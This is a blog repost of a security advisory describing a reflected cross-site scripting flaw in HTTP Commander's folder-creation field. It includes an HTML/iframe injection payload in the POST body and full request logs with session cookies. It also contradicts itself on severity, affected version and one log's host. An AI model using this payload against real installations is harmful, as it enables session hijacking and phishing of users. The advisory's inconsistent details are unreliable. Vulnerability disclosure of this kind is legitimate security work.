2014 m. spalio 6 d., pirmadienis

HTTP Commander AJS v3.1.9 - Client Side Exception Vulnerability

Document Title:
===============
HTTP Commander AJS v3.1.9 - Client Side Exception Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1329


Release Date:
=============
2014-10-02


Vulnerability Laboratory ID (VL-ID):
====================================
1329


Common Vulnerability Scoring System:
==============================
======
2.5


Product & Service Introduction:
===============================
The web file explorer HTTP Commander is designed for giving remote access to the Web server’s files. Using only the browser end-users
can manage files and folders that are shared to them. There are some rich opportunities for online file editing, cloud services integration
and storages. HTTP Commander is being installed on the Windows Server platform. The end-user can use Desktop PC, smartphone, pad with any
OS and web browser. The application is the best alternative to FTP, WebDav, Sharepoint because it combines all their pluses and adds a lot
of new opportunities. Every day more than 100 000 users from different companies and learning institutions use HTTP Commander.

( Copy of the Vendor Homepage: http://www.element-it.com/products.aspx )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the official HTTP Commander AJS v3.1.9 web-application.


Vulnerability Disclosure Timeline:
==================================
2014-10-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Element-IT Software
Product: HTTP Commander - Web Application 3.1.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official HTTP Commander 3.1.9 web-application.
The vulnerability allows remote attackers to inject own script codes to a client-side request to compromise application sessions.

The client-side vulnerability is located in the `new folder add` input values and the connected exception-handling (The file/folder
name isn`t set or contains incorrect characters).The application parses for example tags like <script>, <img src>. During the
tests we discovered that the new folder add module with the name value input allows to bypass the regular application validation
to execute non-persistent script codes in the invalid/incorrect exception-handling context. The issue can be exploited by remote
attackers in connection with the guest or moderator accounts to gain higher application privileges. Remote attackers are able to
prepare malicious client-side request to force the execution on interaction with higher privileged user accounts. The request
method to inject is POST and the attack vector is located on the client-side.

The security risk of the non-persistent vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the client-side input validation web vulnerability requires medium user interaction and no privileged web-application user account.
Successful exploitation of the non-persistent web vulnerability results in session hijacking, client-side phishing, client-side external redirects
to malicious sources and client-side manipulation of affected or connected module context.


Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Add Folder

Vulnerable File(s):
                                [+] CommonHandler.ashx

Vulnerable Parameter(s):
                                [+] name

Affected Module(s):
                                [+] Error Exception (Invalid/Incorrect Input)


Proof of Concept (PoC):
=======================
The client side exploitation handling vulnerability can be exploited by remote attacker or low privileged application user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:
--- Error Exception on Input Name
The file/folder name isn't set or contains incorrect characters: ""><"%20%20>"[CLIENT-SIDE INJECTED SCRIPT CODE VIA POST METHOD!]


--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK]
POST https://httpcommander.localhost:8080/examples/demoforms/Handlers/CommonHandler.ashx Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ]
Größe des Inhalts[188] Mime Type[text/javascript]
   Request Header:
      Host[httpcommander.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/json; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Content-Length[176]
      Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DBFDA1A72BA4A
FBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   POST-Daten:
      {"action":"Common","method":"Create","data":[{"path":"Demo folder 1","type":"folder","newName":"\"><\"<img src[\"x\">%20%20>\"<iframe src=a>%20<iframe>"}],"type":"rpc","tid":4}]
   Response Header:
      Cache-Control[private]
      Content-Type[text/javascript; charset=utf-8]
      Content-Encoding[gzip]
      Vary[Accept-Encoding]
      Server[Microsoft-IIS/8.0]
      X-AspNet-Version[4.0.30319]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[188]


14:36:14.628[178ms][total 178ms] Status: 404[Not Found]
GET https://httpcommander.localhost:8080/examples/demoforms/x Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[1245] Mime Type[text/html]
   Request Header:
      Host[httpcommander.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DB
FDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Server[Microsoft-IIS/8.0]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[1245]


-Response
Status: 200[OK]
 GET https://httpcommander.localhost:8080/examples/demoforms/"><"%20%20>"[CLIENT-SIDE INJECTED SCRIPT CODE VIA POST METHOD!] Load Flags[VALIDATE_ALWAYS ]
Größe des Inhalts[1245] Mime Type[text/html]
   Request Header:
      Host[demo.element-it.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF
69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DC
E8DBFDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Server[Microsoft-IIS/8.0]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[1245]


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the invalid/incorrect input exception-handling.
Restrict the input fields and disallow special chars to prevent further client-side script code attacks.


Security Risk:
==============
The security risk of the client-side input validation web vulnerability in the exception-handling is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      -www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                        -admin@evolution-sec.com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com                            -magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         -youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

Komentarų nėra:

Rašyti komentarą